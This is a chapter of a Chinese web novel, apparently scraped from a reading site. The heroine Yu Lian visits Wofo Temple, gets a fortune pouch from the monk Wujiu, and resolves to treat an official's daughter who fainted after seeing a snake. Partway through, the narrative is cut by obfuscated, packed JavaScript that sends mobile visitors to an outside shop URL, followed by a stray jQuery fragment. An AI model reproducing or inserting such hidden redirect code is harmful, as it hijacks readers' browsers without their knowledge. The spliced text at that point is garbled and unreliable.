默认冷灰
24号文字
方正启体

49. 卧佛寺(5)

作者:936本书字数:K更新时间:
    斋房被分成两半,一半供给僧人,一半留给香客,两边各自用膳互不打扰。


    余怜一边吃着碗里的饭,一边打量这些香客。


    “不是说达官贵族也会来这寺里吗,为何在这儿没瞧见他们用膳啊?”


    杨嫂嫂抬头左右看了一眼,道:“那些勋贵哪儿需要来这儿,自有他们的仆从把饭端到房里,他们可不屑与我们这种普通人为伍。”她嘴撇了一下,继续说,“要我说,如果不是在寺院里,他们估计都不愿吃这斋饭。”


    余怜点点头像是认同她这话。这会儿她虽然继续吃着饭,但脑子里想的却是这些勋贵的住处在哪儿。


    她这段时间打探了一番,黄宏每年都会来这寺里一次,时间不固定,但他的夫人算是常客,十个有五个都能遇上。这月又刚开始,遇到的几率能大一点,所以那日杨嫂嫂邀约她才一口答应下来,想着能不能撞上黄宏的夫人,只是不清楚她的运气行不行了。


    一饭毕,杨嫂嫂领着余怜前往主殿祭拜,行至此,余怜才晓得这寺的名字因何而来。


    一尊巨大的佛像横卧在高台上,身下是摆放祭品的供桌,身前是并排横放的蒲团。来往香客跪在上面诚心祷告,那尊卧佛就半睁着眼注视他们。香火缭绕,升腾起的香雾环绕在卧佛周围,让祂的面容更加慈祥。


    余怜站在一旁注视半晌后才重新将目光落回杨嫂嫂身上。


    “这位施主。”


    余怜闻声转过头来,发现是站在殿内的一位老僧人,皱皱的脸上挂着两弯稀疏的眉毛。


    老僧人见余怜看过来,双手合十又道:“施主怎么不拜一下?”


    余怜面无表情的暗想:难怪寺里香火旺盛,原是有僧人在旁边看着啊。


    她不动声色道:“并无所求,所以不拜。”


    本以为这话能打发走他,结果听到这话的老僧人慈祥的一笑,道:“施主不信神佛,不拜也是对的,但‘并无所求’,贫僧看来并非如此吧。”


    空气里的灰尘仿佛都停滞下来,余怜微怔,彻底转过身子,道:“大师何出此言,我怎的不知晓自己还有这种想法?”


    她语气淡淡,但话里想快速逃离的意味藏不住。


    老僧人一言未发,还是慈祥的看着嘴硬的人,在余怜快要转过身子时才开口:“施主不必如此,贫僧既能说出来就说明贫僧知施主心中所想,无论施主再怎么辩解都藏不住。”


    余怜目光不善的看着他,越发觉得这人装神弄鬼。


    老僧人继续道:“贫僧也不是诚心想找施主不快,只是今日天光正好,又恰巧遇到施主,实在是有缘。所以贫僧想给施主算一卦,不知施主意下如何?”


    余怜看了一眼殿外的天,太阳已经被大片的云遮住,树也被大风刮的呼呼的,勾唇一笑道:“天光正好?”


    老僧人皱巴巴的脸仿佛都因为这四个字凝住,但姜还是老的辣,他果断避开话头,再次问道:“那不知施主可愿让贫僧算一卦?”


    沉默,良久的沉默。


    余怜身体力行的表示她不想算。


    先不说大殿的香客这么多却偏偏逮住她一人不放,就这老和尚叽里呱啦说了一串只为算卦就极为不可信,更何况他还知道余怜的理由是搪塞他的。要不是看他真是一个和尚,还这么老,并且在这卧佛寺里,余怜都真要以为是哪儿来的神棍了。


    两人谁都不说话,也谁都不让一步。


    “丫头,你在看什么呢?”杨嫂嫂从身后走来打破了沉默,未等余怜有所回应,她便脸色一喜,双手合十一拜,“无咎大师,不是说您今日要诵经嘛,怎的来了此处?”


    无咎笑着回拜后道:“杨施主安,本来确是要去诵经,不过行至半途发觉今日有有缘人前来,所以这才来了这里。”


    杨嫂嫂颔首道:“那这位有缘人运气可很好,能得大师点拨,只是不知大师可找到那有缘人?”


    余怜站在她身后和无咎对视上,后者启唇道:“找到了,不过……这位有缘人有点不太相信贫僧。”


    余怜作为这个有缘人还神色未变就听到杨嫂嫂惋惜地说:“那还真是可惜了,若我是那有缘人多好。”


    无咎一笑,道:“万般皆是缘,今日能见到杨施主也算有缘,施主不必这般想。”


    杨嫂嫂点头认同这话,想到还要带余怜再逛逛,便道:“无咎大师,若是没事我先带这丫头先走了,她第一次来,我想带她到处去看看。”


    余怜巴不得赶紧走,听到这话已经做好随时离开的准备,结果某人偏不想让她如愿。


    无咎略带歉意的一笑,道:“可杨施主若是带走身后这位施主走的话,贫僧的有缘人便也走了。”


    杨嫂嫂一怔,然后瞬间反应过来这话的意思,她惊喜的转过头看了余怜一眼,激动的说:“没想到大师的有缘人竟是这丫头!”


    她本来就想带余怜来找无咎,但打听到无咎今日有事,本以为就着要没机会了,结果峰回路转,实在让她有些雀跃。


    无咎笑着点头,目光放到余怜身上。后者被看的有些恼,暗道:这卧佛寺的和尚怎的这般不讲武德,没听见说人要走了吗?还大师,是个骗子差不多吧。


    也不知无咎猜没猜到余怜的想法,他只是又问:“不知施主这次可愿让贫僧算上一卦?”


    余怜这下真是骑虎难下,前有杨嫂嫂一脸希冀的看她,后有无咎追问。没法子,她只得点头同意。


    无咎会心一笑,领着她们两人去往殿后的禅房。


    “这无咎大师是何人,怎的你这般信他?”走在路上,余怜压低嗓音问。


    杨嫂嫂思索了一下道:“我这么给你说吧,这整个卧佛寺里就数他解签最准了,而且他只帮有缘人解,哪怕你是皇宫贵族,只要他说没缘那就不能解。这不一来二去名头就闯出来了,现在晓得我为何信他了吧。”


    余怜点点头,但还是被这个理由给噎了一下。


    禅房离大殿不远,几步过后三人落座,无咎拿出一个签筒。


    “贫僧知晓施主不信神佛也不跪神佛,所以施主掷出签条即可。”他顿了一下接着说,“施主心中也不必想任何事,心无杂念最好。”


    寻常人来求签都要跪在佛像前并且心中所念要求之事才行,但余怜的求签方式实在是闻所未闻,因此杨嫂嫂疑惑的看了一眼无咎,得到一个安抚的目光后才压下思虑。


    杨嫂嫂的疑惑余怜不得而知,毕竟这还是她第一次进寺庙,也是第一次求签,她没见过别人是怎样,只当自己同他们也是一样的。


    她拿过签筒,神色自若的摇起来。


    签条在里面碰撞,挤压,随着“啪嗒”一声轻响,一支签条掉了出来。杨嫂嫂一把拿了起来,看到签条上的字一喜,递给无咎的同时道:“丫头掷出了上上签,无咎大师,这可是吉兆?”


    无咎接过签条,脸色微动,没回答杨嫂嫂的话,只起身道:“两位施主静待片刻。”


    随着他离开,杨嫂嫂拉过余怜道:“丫头,你真是好运气,竟掷出了上上签!”


    余怜面色淡淡,没理解到她的喜悦,迷迷糊糊地问:“上上签又什么讲究吗,为何你这般高兴?”


    “你这个傻丫头,上上签可谓是吉签,只要掷出它那就说明你所求之事必定成功,”她说完这句话突然想到无咎让余怜在掷签时什么都不要想,立刻转了话,“反正你只要记着,这上上签就是好的就行。”


    余怜似懂非懂的点了头。


    无咎回来的很快,没让她们等太久。


    他落座后伸手递给余怜一个锦囊,仅仅是婴儿拳头那么大,红色的布料上面只在一面上绣了个卐字。


    “施主不必打开,等下山时,谁第一个叫施主的名字,就把它给谁,等时机成熟,那人自会打开。”


    “所以这签是我给别人求的?”


    无咎被她的话搞得脸色僵住,道:“当然不是了。只不过贫僧的意思是,之后施主遇上难以解决的麻烦或者不能下定决心的事,那个人就能打开了。”


    这话没头没尾的,听的余怜云里雾里:“那我给的那个人立刻把它打开了呢,这算什么?”她迅速发出疑问。


    “烧了便是。”


    无咎更是迅速的回答她的问题。


    余怜狐疑的看着无咎,后者一脸坦然,任凭她打量。


    这会儿不只余怜一个人觉得奇怪了,杨嫂嫂也察觉出不对,她道:“无咎大师这是何意?”


    无咎闭口不言,只是摇头。他道:“二位施主若是没有疑虑可先行离开,贫僧也要去诵经了。”


    说的倒是好听‘没有疑虑可先行离开’,但谁听不出这是明摆着下逐客令,就算余怜和杨嫂嫂再有问题也问不出,只能起身走。


    余怜捏着锦囊左看右看,实在是觉得莫名其妙,浪费了半天时间,结果里面的东西还不让看,真不知道有什么用。


    杨嫂嫂今日也没看懂无咎的行为,但毕竟人家声望在那儿,她只当是天机不可泄露,不再多想。


    一入秋天黑的就快了,才吃过晚饭,未活动两步就已经要点上烛火。


    晚间行走不便,寺庙房舍建的又多,白日里都容易找不到东南西北更别说晚上,稍有一个不注意就不晓得钻到何处去了。今日天气也变了,晚间风刮的更大,看起来随时都要落下雨点子,是以香客基本都回了宿院。


    余怜和杨嫂嫂也回了屋里,一个坐到床边看佛经,一个站在窗边看夜色。说是夜色其实就是一片漆黑,漆黑里几盏烛火被风吹的摇曳,像是什么野兽的眼睛。耳边除了风还是风,吹的人发麻。


    “你身体还没好利索,少在窗边站,要是灌了风受寒可就不好了。”


    余怜脚步未动,道:“嫂嫂不必这样紧张,我自己的身体自己清楚,其实现在已经好了,没你们想的那般脆弱。”


    杨嫂嫂摇摇头,她知晓自己劝不过索性不再说话,找出白日里拿上来的包袱,翻出一条披风给余怜披在身上。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17286943|198203||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “你这丫头,要我说你就是嘴硬,什么都憋在自己心里,让想关心你的人都无从下手。总是冷冷淡淡的,哪儿像个人,要是你爹娘看见了得多心疼。”


    心疼?


    余怜盯着被杨嫂嫂打出的漂亮活结,脑海里思索着两个字。


    她能想到的心疼还是当时剜心时的疼,但那个时候她的意识已经昏昏沉沉,让她并未感觉到多疼,所以应该算不上心疼。


    那心疼是什么呢?是什么感觉呢?


    余怜望着狂风呼啸的窗外,慢慢摸向自己的心口。没有跳动,没有“扑通,扑通”的声音,甚至那一块的皮肤都光滑到连一条疤都没有。若不是知晓里面确实什么都没有,余怜都要怀疑是不是自己臆想出来的一场劫难。


    总是这样,总是让她想要感知情绪时只剩下一筹莫展。


    她抬起头呼出一口浊气,又恢复到面无波澜的样子。


    夜间雨果然下了下来,淅淅沥沥的落在地上,风也止住了,唯一能听到的只有雨打芭蕉的声音。然而这会儿宿院里却灯火通明,香客全都站在雨地里。


    “来人啊,快来人啊!”


    院角的亭子里,一妇人泪眼婆娑的把一姑娘搂在怀里,声嘶力竭的喊着人,地上跪着一个小丫鬟红着半边脸,身旁还围了几位妇人。


    “快来人救救我女儿,我乃吏部员外郎的夫人,若有人能救我孩儿,我必重重有赏!”


    余怜和杨嫂嫂踏着雨来的时候听到的就是这句话。


    两人不动声色的进入人堆里,杨嫂嫂拉着旁边一婆子问道:“这是发生了何事,这位夫人怎的这般情态?”


    婆子摆摆手道:“嗐,听说是这姑娘屋里进了蛇,一下子被吓的跑出来,等她娘带着人找到她,就看到这姑娘晕到这儿了。”


    听到这婆子说完,余怜才晓得先前听到的那声惨叫是怎么一回事。


    杨嫂嫂接着问:“那现在是怎么一回事,怎的都围在这里?”


    婆子撇撇嘴道:“还不是这位夫人,她要找大夫救自己的女儿,又不想挨个屋子的问,干脆把人全叫出来。”婆子拢了下手,打着哈欠忿忿道:“要我说也是活该,白占着好院子不让咱们这些人住,现在出事了又喊爹喊娘的有什么用,白扰了我清梦。”


    杨嫂嫂不予置评,对她笑了一下退回余怜身边:“打听清楚了,不过和咱们没多大关系,回吧。”


    余怜没回应她,只是看着亭子里那一堆人。


    许久得不到回应,杨嫂嫂害怕出事,于是她问:“你该不会想去救那姑娘吧?”


    她语气里带了点制止,余怜察觉出来,道:“不能去吗?”


    “当然不能去了!”杨嫂嫂压低的嗓音因为突然提升有些变调。


    周围有人看过来,杨嫂嫂歉意的笑笑继续同余怜说:“你难道没听到那妇人说自己丈夫是当官的吗?”


    “听到了啊,可是当官的怎么了?”更何况还是吏部员外郎。


    余怜刚才突然想起来,上回和裴望舒在留香楼遇到的两个人,那个叫田明的就是在吏部。虽然不知道这位妇人的丈夫是不是田明,但同在吏部,保不齐就能遇到黄宏。


    所以这下她出面是稳赚不赔的买卖。


    杨嫂嫂却抓住她的手腕,阻止她的想法:“你即知晓还上去做什么?你别看她现在说的好听,什么治好后重重有赏,等你真的治好了她只会变卦。若你没治好更不得了,她一定会狠狠揪住你不放的!”


    “丫头,你听嫂嫂一句劝,千万不要沾染上这些官宦人家,你今夜只当没听见也没看见,死了便死了,怨不得你。”


    杨嫂嫂在上京待了许多年,年年都能看到这些做官的和皇亲贵族因为一丁点儿小事大发雷霆,也见到许多大夫给他们治过病,结果因为措辞不当就被各种折磨,她实在不想让余怜趟这趟浑水。


    余怜看着焦急的杨嫂嫂拍着她的后背安抚,沉默了几息才道:“虽不知嫂嫂为何要阻止我,但嫂嫂总是事事圆滑,懂得也比我多。我本应该听嫂嫂你的,但此时恕我难以从命。”


    “为医者必当安神定志,无欲无求,先发大慈恻隐之心,誓愿普救含灵之苦*。我实在是无法放任一条生命在自己眼前丧失,若是嫂嫂想看余怜从此愧疚下去的话,那余怜便同嫂嫂一道回去,装作什么都不知道。“


    一句话眨眼见变了称呼,杨嫂嫂张嘴又闭上,素来转的飞快的脑子这会儿好像也被蛇吓得僵住了。


    她看着余怜在夜色里显的有些冷寂的眸子,突然想起眼前的人并非她以为的那般柔弱,也并非她以为的那般没有主见。


    杨嫂嫂抿紧的嘴唇被放开:“罢了罢了,你想去就去吧,我在边上看着你。”


    余怜莞尔一笑,亲昵的捧起杨嫂嫂的脸,道:“谢谢嫂嫂能理解我。”


    “你这丫头,都变了称呼嫂嫂哪儿还忍心拒绝。”杨嫂嫂没好气地说,“行了行了,快去吧。”


    余怜清丽的身子被她她推出去。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)